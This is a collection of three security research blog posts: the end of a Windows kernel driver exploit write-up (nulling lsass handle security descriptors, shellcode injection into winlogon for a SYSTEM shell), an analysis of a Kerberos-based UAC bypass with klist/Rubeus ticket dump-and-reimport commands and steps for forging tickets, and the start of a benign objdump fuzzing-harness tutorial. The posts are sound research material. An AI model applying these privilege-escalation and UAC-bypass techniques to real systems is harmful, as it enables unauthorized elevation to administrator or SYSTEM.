As you can see, from a simple user we actually can leak a lot of pointers and data. The best part of it, is that one of those pointers are correlated to our PROCESS object, did you remember?

WinDBG processes list

This is it, that’s the trick! But there’s a problem. Assuming that many restrictions such as: ASLR, are configured by default, how we knows what addresses, PID’s and Handle values are correct in order to predict that one who contains our PROCESS object pointer?

The answer for this question is: “I don’t know, but there’s a method (really not stealth), which work as well!”. This method was discovered after tests assuming ASLR randomization and what processes (who contains useful pointers), should crash after been nullified through exploitation technique.

After some tests, it was noticed that if we define lsass.exe PID, as the only target to have his handles nullified, the Operation System OS doesn’t crashes (I assume that because lsass.exe isn’t a process that contains so many handles for SYSTEM internals, only to hold permissions and things related on this). After all, with lsass.exe handle pointers nullified, it’s clearly that not only 1 process will have write/read/execute permission, but also a lot. That’s why i don’t recommend this technique for a real world exploitation because isn’t safe (also not stealthy), nullifying handles could make the Operation System crash and reboot.

Source-code modified in order to filter only handles from “lsass.exe” PID
Source-code modified in order to filter only handles from “lsass.exe” PID

The things is, once SYSTEM processes do have access permissions for Anyone, the final part should be a Shellcode Injection in a SYSTEM target process, and that’s what we do in winlogon.exe. This process is running with SYSTEM permissions (and now after nullify attack write/read/execute)

So, putting all together, this is how it looks like. =D

Nullifying “lsass.exe” handle pointers “SecurityDescription”, and injecting “LPE shellcode” at “winlogon.exe” process.

After exploit runs, we finally got our nt authority/SYSTEMshell, nothing was crashed and processes work as well without any issues.

The final consideration for this write-up, is that i didn’t found any reliable solution for WriteNULL challenge, only one which uses another driver vulnerability in order to leak pointer address (on references), meaning that this exploit should be the only one existing in internet utilizing this technique (really no one want to do this). =(

So, it was kind fun and hope everyone enjoyed this write-up. =P

Final Exploit link:
https://github.com/w4fz5uck5/3XPL01t5/tree/master/OSEE_Training/HEVD_exploits/windowsx86/%5BHEVD%5D-WriteNULL
References:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/HackSysExtremeVulnerableDriver.h
https://github.com/daem0nc0re/HEVD-CSharpKernelPwn/blob/master/HEVD_Win7x86/WriteNull/Program.cs http://bprint.rewolf.pl/bprint/?p=1683
https://github.com/ZecOps/CVE-2020–0796-LPE-POC/blob/master/poc.py
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/windows-debugging-and-exploiting-part-4-ntquerysysteminformation/

Bypassing UAC in the most Complex Way Possible!

By: tiraniddo
20 March 2022 at 09:52

While it's not something I spend much time on, finding a new way to bypass UAC is always amusing. When reading through some of the features of the Rubeus tool I realised that there was a possible way of abusing Kerberos to bypass UAC, well on domain joined systems at least. It's unclear if this has been documented before, this post seems to discuss something similar but relies on doing the UAC bypass from another system, but what I'm going to describe works locally. Even if it has been described as a technique before I'm not sure it's been documented how it works under the hood.

The Background!

Let's start with how the system prevents you bypassing the most pointless security feature ever. By default LSASS will filter any network authentication tokens to remove admin privileges if the users is a local administrator. However there's an important exception, if the user a domain user and a local administrator then LSASS will allow the network authentication to use the full administrator token. This is a problem if say you're using Kerberos to authenticate locally. Wouldn't this be a trivial UAC bypass? Just authenticate to the local service as a domain user and you'd get the network token which would bypass the filtering?

Well no, Kerberos has specific additions to block this attack vector. If I was being charitable I'd say this behaviour also ensures some level of safety.  If you're not running as the admin token then accessing say the SMB loopback interface shouldn't suddenly grant you administrator privileges through which you might accidentally destroy your system.

Back in January last year I read a post from Steve Syfuhs of Microsoft on how Kerberos prevents this local UAC bypass. The TL;DR; is when a user wants to get a Kerberos ticket for a service LSASS will send a TGS-REQ request to the KDC. In the request it'll embed some security information which indicates the user is local. This information will be embedded in the generated ticket. 

When that ticket is used to authenticate to the same system Kerberos can extract the information and see if it matches one it knows about. If so it'll take that information and realize that the user is not elevated and filter the token appropriately. Unfortunately much as enjoy Steve's posts this one was especially light on details. I guessed I'd have to track down how it works myself. Let's dump the contents of a Kerberos ticket and see if we can see what could be the ticket information:

PS> $c = New-LsaCredentialHandle -Package 'Kerberos' -UseFlag Outbound
PS> $x = New-LsaClientContext -CredHandle $c -Target HOST/$env:COMPUTERNAME
PS> $key = Get-KerberosKey -HexKey 'XXX' -KeyType AES256_CTS_HMAC_SHA1_96 -Principal $env:COMPTUERNAME
PS> $u = Unprotect-LsaAuthToken -Token $x.Token -Key $key
PS> Format-LsaAuthToken $u

<KerberosV5 KRB_AP_REQ>
Options         : None
<Ticket>
Ticket Version  : 5
...

<Authorization Data - KERB_AD_RESTRICTION_ENTRY>
Flags           : LimitedToken
Integrity Level : Medium
Machine ID      : 6640665F...

<Authorization Data - KERB_LOCAL>
Security Context: 60CE03337E01000025FC763900000000

I've highlighted the two ones of interest, the KERB-AD-RESTRICTION-ENTRY and the KERB-LOCAL entry. Of course I didn't guess these names, these are sort of documented in the Microsoft Kerberos Protocol Extensions (MS-KILE) specification. The KERB_AD_RESTRICTION_ENTRY is most obviously of interest, it contains both the works "LimitedToken" and "Medium Integrity Level"

When accepting a Kerberos AP-REQ from a network client via SSPI the Kerberos module in LSASS will call the LSA function LsaISetSupplementalTokenInfo to apply the information from KERB-AD-RESTRICTION-ENTRY to the token if needed. The pertinent code is roughly the following:

NTSTATUS LsaISetSupplementalTokenInfo(PHANDLE phToken, 
                        PLSAP_TOKEN_INFO_INTEGRITY pTokenInfo) {
  // ...
  BOOL bLoopback = FALSE:
  BOOL bFilterNetworkTokens = FALSE;

  if (!memcmp(&LsapGlobalMachineID, pTokenInfo->MachineID,
       sizeof(LsapGlobalMachineID))) {
    bLoopback = TRUE;
  }

  if (LsapGlobalFilterNetworkAuthenticationTokens) {
    if (pTokenInfo->Flags & LimitedToken) {
      bFilterToken = TRUE;
    }
  }

  PSID user = GetUserSid(*phToken);
  if (!RtlEqualPrefixSid(LsapAccountDomainMemberSid, user)
    || LsapGlobalLocalAccountTokenFilterPolicy 
    || NegProductType == NtProductLanManNt) {
    if ( !bFilterToken && !bLoopback )
      return STATUS_SUCCESS;
  }

  /// Filter token if needed and drop integrity level.
}

I've highlighted the three main checks in this function, the first compares if the MachineID field of the KERB-AD-RESTRICTION-ENTRY matches the one stored in LSASS. If it is then the bLoopback flag is set. Then it checks an AFAIK undocumented LSA flag to filter all network tokens, at which point it'll check for the LimitedToken flag and set the bFilterToken flag accordingly. This filtering mode defaults to off so in general bFilterToken won't be set.

Finally the code queries for the current created token SID and checks if any of the following is true:
  • The user SID is not a member of the local account domain.
  • The LocalAccountTokenFilterPolicy LSA policy is non-zero, which disables the local account filtering.
  • The product type is NtProductLanManNt, which actually corresponds to a domain controller.
If any are true then as long as the token information is neither loopback or filtering is forced the function will return success and no filtering will take place. Therefore in a default installation for a domain user to not be filtered comes down whether the machine ID matches or not. 

For the integrity level, if filtering is taking place then it will be dropped to the value in the KERB-AD-RESTRICTION-ENTRY authentication data. However it won't increase the integrity level above what the created token has by default, so this can't be abused to get System integrity.

Note Kerberos will call LsaISetSupplementalTokenInfo with the KERB-AD-RESTRICTION-ENTRY authentication data from the ticket in the AP-REQ first. If that doesn't exist then it'll try calling it with the entry from the authenticator. If neither the ticket or authenticator has an entry then it will never be called. How can we remove these values?

Well, about that!

Okay how can we abuse this to bypass UAC? Assuming you're authenticated as a domain user the funniest way to abuse it is get the machine ID check to fail. How would we do that? The LsapGlobalMachineID value is a random value generated when LSASS starts up. We can abuse the fact that if you query the user's local Kerberos ticket cache it will return the session key for service tickets even if you're not an administrator (it won't return TGT session keys by default).

Therefore one approach is to generate a service ticket for the local system, save the resulting KRB-CRED to disk, reboot the system to get LSASS to reinitialize and then when back on the system reload the ticket. This ticket will now have a different machine ID and therefore Kerberos will ignore the restrictions entry. You could do it with the builtin klist and Rubeus with the following commands:

PS> klist get RPC/$env:COMPUTERNAME
PS> Rubeus.exe /dump /server:$env:COMPUTERNAME /nowrap
... Copy the base64 ticket to a file.

Reboot then:

PS> Rubeus.exe ptt /ticket:<BASE64 TICKET> 

You can use Kerberos authentication to access the SCM over named pipes or TCP using the RPC/HOSTNAME SPN.  Note the Win32 APIs for the SCM always use Negotiate authentication which throws a spanner in the works, but there are alternative RPC clients ;-) While LSASS will add a valid restrictions entry to the authenticator in the AP-REQ it won't be used as the one in the ticket will be used first which will fail to apply due to the different machine ID.

The other approach is to generate our own ticket, but won't we need credentials for that? There's a trick, I believe discovered by Benjamin Delpy and put into kekeo that allows you to abuse unconstrained delegation to get a local TGT with a session key. With this TGT you can generate your own service tickets, so you can do the following:
  1. Query for the user's TGT using the delegation trick.
  2. Make a request to the KDC for a new service ticket for the local machine using the TGT. Add a KERB-AD-RESTRICTION-ENTRY but fill in a bogus machine ID.
  3. Import the service ticket into the cache.
  4. Access the SCM to bypass UAC.
Ultimately this is a reasonable amount lot of code for a UAC bypass, at least compared to the just changing an environment variable. However, you can probably bodge it together using existing tools such as kekeo and Rubeus, but I'm not going to release a turn key tool to do this, you're on your own :-)

Didn't you forget KERB-LOCAL?

What is the purpose of KERB-LOCAL? It's a way of reusing the local user's credentials, this is similar to NTLM loopback where LSASS is able to determine that the call is actually from a locally authenticated user and use their interactive token. The value passed in the ticket and authenticator can be checked against a list of known credentials in the Kerberos package and if there's a match the existing token will be used.

Would this not always eliminate the need for the filtering the token based on the KERB-AD-RESTRICTION-ENTRY value? It seems that this behavior is used very infrequently due to how it's designed. First it only works if the accepting server is using the Negotiate package, it doesn't work if using the Kerberos package directly (sort of...). That's usually not an impediment as most local services use Negotiate anyway for convenience. 

The real problem is that as a rule if you use Negotiate to the local machine as a client it'll select NTLM as the default. This will use the loopback already built into NTLM rather than Kerberos so this feature won't be used. Note that even if NTLM is disabled globally on the domain network it will still work for local loopback authentication. I guess KERB-LOCAL was added for feature parity with NTLM.

Going back to the formatted ticket at the start of the blog what does the KERB-LOCAL value mean? It can be unpacked into two 64bit values, 0x17E3303CE60 and 0x3976FC25. The first value is the heap address of the KERB_CREDENTIAL structure in LSASS's heap!! The second value is the ticket count when the KERB-LOCAL structure was created.

Fortunately LSSAS doesn't just dereference the credentials pointer, it must be in the list of valid credential structures. But the fact that this value isn't blinded or references a randomly generated value seems a mistake as heap addresses would be fairly easy to brute force. Of course it's not quite so simple, Kerberos does verify that the SID in the ticket's PAC matches the SID in the credentials so you can't just spoof the SYSTEM session, but well, I'll leave that as a thought to be going on with.

Hopefully this gives some more insight into how this feature works and some fun you can have trying to bypass UAC in a new way.

UPDATE: This simple C++ file can be used to modify the Win32 SCM APIs to use Kerberos for local authentication.

Fuzzing Like A Caveman 6: Binary Only Snapshot Fuzzing Harness

By: h0mbre
2 April 2022 at 04:00

Introduction

It’s been a while since I’ve done one of these, and one of my goals this year is to do more so here we are. A side project of mine is kind of reaching a good stopping point so I’ll have more free-time to do my own research and blog again. Looking forward to sharing more and more this year.

One of the most common questions that comes up in beginner fuzzing circles (of which I’m obviously a member) is how to harness a target so that it can be fuzzed in memory, as some would call in ‘persistent’ fashion, in order to gain performance. Persistent fuzzing has a niche use-case where the target doesn’t touch much global state from fuzzcase to fuzzcase, an example would be a tight fuzzing loop for a single API in a library, or maybe a single function in a binary.

This style of fuzzing is faster than re-executing the target from scratch over and over as we bypass all the heavy syscalls/kernel routines associated with creating and destroying task structs.

However, with binary targets for which we don’t have source code, it’s sometimes hard to discern what global state we’re affecting while executing any code path without some heavy reverse engineering (disgusting, work? gross). Additionally, we often want to fuzz a wider loop. It doesn’t do us much good to fuzz a function which returns a struct that is then never read or consumed in our fuzzing workflow. With these things in mind, we often find that ‘snapshot’ fuzzing would be a more robust workflow for binary targets, or even production binaries for which, we have source, but have gone through the sausage factory of enterprise build systems.

So today, we’re going to learn how to take an arbitrary binary only target that takes an input file from the user and turn it into a target that takes its input from memory instead and lends itself well to having its state reset between fuzzcases.

Target (Easy Mode)

For the purposes of this blogpost, we’re going to harness objdump to be snapshot fuzzed. This will serve our purposes because it’s relatively simple (single threaded, single process) and it’s a common fuzzing target, especially as people do development work on their fuzzers. The point of this is not to impress you by sandboxing some insane target like Chrome, but to show beginners how to start thinking about harnessing. You want to lobotomize your targets so that they are unrecognizable to their original selves but retain the same semantics. You can get as creative as you want, and honestly, sometimes harnessing targets is some of the most satisfying work related to fuzzing. It feels great to successfully sandbox a target and have it play nice with your fuzzer. On to it then.

Hello World

The first step is to determine how we want to change objdump’s behavior. Let’s try running it under strace and disassemble ls and see how it behaves at the syscall level with strace objdump -D /bin/ls. What we’re looking for is the point where objdump starts interacting with our input, /bin/ls in this case. In the output, if you scroll down past the boilerplate stuff, you can see the first appearance of /bin/ls:

stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=133792, ...}) = 0
stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=133792, ...}) = 0
openat(AT_FDCWD, "/bin/ls", O_RDONLY)   = 3
fcntl(3, F_GETFD)                       = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0

Keep in mind that as you read through this, if you’re following along at home, your output might not match mine exactly. I’m likely on a different distribution than you running a different objdump than you. But the point of the blogpost is to just show concepts that you can be creative on your own.

I also noticed that the program doesn’t close our input file until the end of execution:

read(3, "\0\0\0\0\0\0\0\0\10\0\"\0\0\0\0\0\1\0\0\0\377\377\377\377\1\0\0\0\0\0\0\0"..., 4096) = 2720
write(1, ":(%rax)\n  21ffa4:\t00 00         "..., 4096) = 4096
write(1, "x0,%eax\n  220105:\t00 00         "..., 4096) = 4096
close(3)                                = 0
write(1, "023e:\t00 00                \tadd "..., 2190) = 2190
exit_group(0)                           = ?
+++ exited with 0 +++

This is good to know, we’ll need our harness to be able to emulate an input file fairly well since objdump doesn’t just read our file into a memory buffer in one shot or mmap() the input file. It is continuously reading from the file throughout the strace output.

Since we don’t have source code for the target, we’re going to affect behavior by using an LD_PRELOAD shared object. By using an LD_PRELOAD shared object, we should be able to hook the wrapper functions around the syscalls that interact with our input file and change their behavior to suit our purposes. If you are unfamiliar with dynamic linking or LD_PRELOAD, this would be a good stopping point to go Google around for more information great starting point. For starters, let’s just get a Hello, World! shared object loaded.

We can utilize gcc Function Attributes to have our shared object execute code when it is loaded by the target by leveraging the constructor attribute.

So our code so far will look like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#include <stdio.h> /* printf */

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    printf("** LD_PRELOAD shared object loaded!\n");
}

I added the compiler flags needed to compile to the top of the file as a comment. I got these flags from this blogpost on using LD_PRELOAD shared objects a while ago: https://tbrindus.ca/correct-ld-preload-hooking-libc/.

We can now use the LD_PRELOAD environment variable and run objdump with our shared object which should print when loaded:

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D /bin/ls > /tmp/output.txt && head -n 20 /tmp/output.txt
**> LD_PRELOAD shared object loaded!

/bin/ls:     file format elf64-x86-64


Disassembly of section .interp:

0000000000000238 <.interp>:
 238:   2f                      (bad)  
 239:   6c                      ins    BYTE PTR es:[rdi],dx
 23a:   69 62 36 34 2f 6c 64    imul   esp,DWORD PTR [rdx+0x36],0x646c2f34
 241:   2d 6c 69 6e 75          sub    eax,0x756e696c
 246:   78 2d                   js     275 <_init@@Base-0x34e3>
 248:   78 38                   js     282 <_init@@Base-0x34d6>
 24a:   36 2d 36 34 2e 73       ss sub eax,0x732e3436
 250:   6f                      outs   dx,DWORD PTR ds:[rsi]
 251:   2e 32 00                xor    al,BYTE PTR cs:[rax]

Disassembly of section .note.ABI-tag:

It works, now we can start looking for functions to hook.

Looking for Hooks

First thing we need to do, is create a fake file name to give objdump so that we can start testing things out. We will copy /bin/ls into the current working directory and call it fuzzme. This will allow us to generically play around with the harness for testing purposes. Now we have our strace output, we know that objdump calls stat() on the path for our input file (/bin/ls) a couple of times before we get that call to openat(). Since we know our file hasn’t been opened yet, and the syscall uses the path for the first arg, we can guess that this syscall results from the libc exported wrapper function for stat() or lstat(). I’m going to assume stat() since we aren’t dealing with any symbolic links for /bin/ls on my box. We can add a hook for stat() to test to see if we hit it and check if it’s being called for our target input file (now changed to fuzzme).

In order to create a hook, we will follow a pattern where we define a pointer to the real function via a typedef and then we will initialize the pointer as NULL. Once we need to resolve the location of the real function we are hooking, we can use dlsym(RLTD_NEXT, <symbol name>) to get it’s location and change the pointer value to the real symbol address. (This will be more clear later on).

Now we need to hook stat() which appears as a man 3 entry here (meaning it’s a libc exported function) as well as a man 2 entry (meaning it is a syscall). This was confusing to me for the longest time and I often misunderstood how syscalls actually worked because of this insistence on naming collisions. You can read one of the first research blogposts I ever did here where the confusion is palpable and I often make erroneous claims. (PS, I’ll never edit the old blogposts with errors in them, they are like time capsules, and it’s kind of cool to me).

We want to write a function that when called, simply prints something and exits so that we know our hook was hit. For now, our code looks like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"

// Declare a prototype for the real stat as a function pointer
typedef int (*stat_t)(const char *restrict path, struct stat *restrict buf);
stat_t real_stat = NULL;

// Hook function, objdump will call this stat instead of the real one
int stat(const char *restrict path, struct stat *restrict buf) {
    printf("** stat() hook!\n");
    exit(0);
}

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    printf("** LD_PRELOAD shared object loaded!\n");
}

However, if we compile and run that, we don’t ever print and exit so our hook is not being called. Something is going wrong. Sometimes, file related functions in libc have 64 variants, such as open() and open64() that are used somewhat interchangably depending on configurations and flags. I tried hooking a stat64() but still had no luck with the hook being reached.

Luckily, I’m not the first person with this problem, there is a great answer on Stackoverflow about the very issue that describes how libc doesn’t actually export stat() the same way it does for other functions like open() and open64(), instead it exports a symbol called __xstat() which has a slightly different signature and requires a new argument called version which is meant to describe which version of stat struct the caller is expecting. This is supposed to all happen magically under the hood but that’s where we live now, so we have to make the magic happen ourselves. The same rules apply for lstat() and fstat() as well, they have __lxstat() and __fxstat() respectively.

I found the definitions for the functions here. So we can add the __xstat() hook to our shared object in place of the stat() and see if our luck changes. Our code now looks like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Hook function, objdump will call this stat instead of the real one
int __xstat(int __ver, const char *__filename, struct stat *__stat_buf) {
    printf("** Hit our __xstat() hook!\n");
    exit(0);
}

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    printf("** LD_PRELOAD shared object loaded!\n");
}

Now if we run our shared object, we get the desired outcome, somewhere, our hook is hit. Now we can help ourselves out a bit and print the filenames being requested by the hook and then actually call the real __xstat() on behalf of the caller. Now when our hook is hit, we will have to resolve the location of the real __xstat() by name, so we’ll add a symbol resolving function to our shared object. Our shared object code now looks like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#define _GNU_SOURCE     /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
    // Clear previous errors
    dlerror();

    // Get symbol address
    void* addr = dlsym(RTLD_NEXT, symbol);

    // Check for error
    char* err = NULL;
    err = dlerror();
    if (err) {
        addr = NULL;
        printf("Err resolving '%s' addr: %s\n", symbol, err);
        exit(-1);
    }
    
    return addr;
}

// Hook function, objdump will call this stat instead of the real one
int __xstat(int __ver, const char *__filename, struct stat *__stat_buf) {
    // Print the filename requested
    printf("** __xstat() hook called for filename: '%s'\n", __filename);

    // Resolve the address of the real __xstat() on demand and only once
    if (!real_xstat) {
        real_xstat = _resolve_symbol("__xstat");
    }

    // Call the real __xstat() for the caller so everything keeps going
    return real_xstat(__ver, __filename, __stat_buf);
}

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    printf("** LD_PRELOAD shared object loaded!\n");
}

Ok so now when we run this, and we check for our print statements, things get a little spicy.

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/output.txt && grep "** __xstat" /tmp/output.txt
** __xstat() hook called for filename: 'fuzzme'
** __xstat() hook called for filename: 'fuzzme'

So now we can have some fun.

__xstat() Hook

So the purpose of this hook will be to lie to objdump and make it think it successfully stat() the input file. Remember, we’re making a snapshot fuzzing harness so our objective is to constantly be creating new inputs and feeding them to objdump through this harness. Most importantly, our harness will need to be able to represent our variable length inputs (which will be stored purely in memory) as files. Each fuzzcase, the file length can change and our harness needs to accomodate that.

My idea at this point was to create a somewhat “legit” stat struct that would normally be returned for our actual file fuzzme which is just a copy of /bin/ls. We can store this stat struct globally and only update the size field as each new fuzz case comes through. So the timeline of our snapshot fuzzing workflow would look something like:

  1. Our constructor function is called when our shared object is loaded
  2. Our constructor sets up a global “legit” stat struct that we can update for each fuzzcase and pass back to callers of __xstat() trying to stat() our fuzzing target
  3. The imaginary fuzzer runs objdump to the snapshot location
  4. Our __xstat() hook updates the the global “legit” stat struct size field and copies the stat struct into the caller’s buffer
  5. The imaginary fuzzer restores the state of objdump to its state at snapshot time
  6. The imaginary fuzzer copies a new input into harness and updates the input size
  7. Our __xstat() hook is called once again, and we repeat step 4, this process occurs over and over forever.

So we’re imagining the fuzzer has some routine like this in pseudocode, even though it’d likely be cross-process and require process_vm_writev:

insert_fuzzcase(config.input_location, config.input_size_location, input, input_size) {
  memcpy(config.input_location, &input, input_size);
  memcpy(config.input_size_location, &input_size, sizeof(size_t));
}

One important thing to keep in mind is that if the snapshot fuzzer is restoring objdump to its snapshot state every fuzzing iteration, we must be careful not to depend on any global mutable memory. The global stat struct will be safe since it will be instantiated during the constructor however, its size-field will be restored to its original value each fuzzing iteration by the fuzzer’s snapshot restore routine.

We will also need a global, recognizable address to store variable mutable global data like the current input’s size. Several snapshot fuzzers have the flexibility to ignore contiguous ranges of memory for restoration purposes. So if we’re able to create some contiguous buffers in memory at recognizable addresses, we can have our imaginary fuzzer ignore those ranges for snapshot restorations. So we need to have a place to store the inputs, as well as information about their size. We would then somehow tell the fuzzer about these locations and when it generated a new input, it would copy it into the input location and then update the current input size information.

So now our constructor has an additional job: setup the input location as well as the input size information. We can do this easily with a call to mmap() which will allow us to specify an address we want our mapping mapped to with the MAP_FIXED flag. We’ll also create a MAX_INPUT_SZ definition so that we know how much memory to map from the input location.

Just by themselves, the functions related to mapping memory space for the inputs themselves and their size information looks like this. Notice that we use MAP_FIXED and we check the returned address from mmap() just to make sure the call didn’t succeed but map our memory at a different location:

// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
    void *result = NULL;

    // Map the page to hold the input size
    result = mmap(
        (void *)(INPUT_SZ_ADDR),
        sizeof(size_t),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
        printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Let's actually initialize the value at the input size location as well
    *(size_t *)INPUT_SZ_ADDR = 0;

    // Map the pages to hold the input contents
    result = mmap(
        (void *)(INPUT_ADDR),
        (size_t)(MAX_INPUT_SZ),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
        printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Init the value
    memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}

mmap() will actually map multiples of whatever the page size is on your system (typically 4096 bytes). So, when we ask for sizeof(size_t) bytes for the mapping, mmap() is like: “Hmm, that’s just a page dude” and gives us back a whole page from 0x1336000 - 0x1337000 not inclusive on the high-end.

Random sidenote, be careful about arithmetic in definitions and macros as I’ve done here with MAX_INPUT_SIZE, it’s very easy for the pre-processor to substitute your text for the definition keyword and ruin some order of operations or even overflow a specific primitive type like int.

Now that we have memory set up for the fuzzer to store inputs and information about the input’s size, we can create that global stat struct. But we actually have a big problem. How can we call into __xstat() to get our “legit” stat struct if we have __xstat() hooked? We would hit our own hook. To circumvent this, we can call __xstat() with a special __ver argument that we know will mean that it was called from our constructor, the variable is an int so let’s go with 0x1337 as the special value. That way, in our hook, if we check __ver and it’s 0x1337, we know we are being called from the constructor and we can actually stat our real file and create a global “legit” stat struct. When I dumped a normal call by objdump to __xstat() the __version was always a value of 1 so we will patch it back to that inside our hook. Now our entire shared object source file should look like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#define _GNU_SOURCE     /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"

// Definitions for our in-memory inputs 
#define INPUT_SZ_ADDR   0x1336000
#define INPUT_ADDR      0x1337000
#define MAX_INPUT_SZ    (1024 * 1024)

// Our "legit" global stat struct
struct stat st;

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
    // Clear previous errors
    dlerror();

    // Get symbol address
    void* addr = dlsym(RTLD_NEXT, symbol);

    // Check for error
    char* err = NULL;
    err = dlerror();
    if (err) {
        addr = NULL;
        printf("Err resolving '%s' addr: %s\n", symbol, err);
        exit(-1);
    }
    
    return addr;
}

// Hook for __xstat 
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
    // Resolve the real __xstat() on demand and maybe multiple times!
    if (NULL == real_xstat) {
        real_xstat = _resolve_symbol("__xstat");
    }

    // Assume the worst, always
    int ret = -1;

    // Special __ver value check to see if we're calling from constructor
    if (0x1337 == __ver) {
        // Patch back up the version value before sending to real xstat
        __ver = 1;

        ret = real_xstat(__ver, __filename, __stat_buf);

        // Set the real_xstat back to NULL
        real_xstat = NULL;
        return ret;
    }

    // Determine if we're stat'ing our fuzzing target
    if (!strcmp(__filename, FUZZ_TARGET)) {
        // Update our global stat struct
        st.st_size = *(size_t *)INPUT_SZ_ADDR;

        // Send it back to the caller, skip syscall
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Just a normal stat, send to real xstat
    else {
        ret = real_xstat(__ver, __filename, __stat_buf);
    }

    return ret;
}

// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
    void *result = NULL;

    // Map the page to hold the input size
    result = mmap(
        (void *)(INPUT_SZ_ADDR),
        sizeof(size_t),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
        printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Let's actually initialize the value at the input size location as well
    *(size_t *)INPUT_SZ_ADDR = 0;

    // Map the pages to hold the input contents
    result = mmap(
        (void *)(INPUT_ADDR),
        (size_t)(MAX_INPUT_SZ),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
        printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Init the value
    memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    // Create memory mappings to hold our input and information about its size
    _create_mem_mappings();    
}

Now if we run this, we get the following output:

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
objdump: Warning: 'fuzzme' is not an ordinary file

This is cool, this means that the objdump devs did something right and their stat() would say: “Hey, this file is zero bytes in length, something weird is going on” and they spit out this error message and exit. Good job devs!

So we have identified a problem, we need to simulate the fuzzer placing a real input into memory, to do that, I’m going to start using #ifdef to define whether or not we’re testing our shared object. So basically, if we compile the shared object and define TEST, our shared object will copy an “input” into memory to simulate how the fuzzer would behave during fuzzing and we can see if our harness is working appropriately. So if we define TEST, we will copy /bin/ed into memory, and we will update our global “legit” stat struct size member, and place the /bin/ed bytes into memory.

You can compile the shared object now to perform the test as follows:

gcc -D TEST -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ld

We also need to set up our global “legit” stat struct, the code to do that should look as follows. Remember, we pass a fake __ver variable to let the __xstat() hook know that it’s us in the constructor routine, which allows the hook to behave well and give us the stat struct we need:

// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
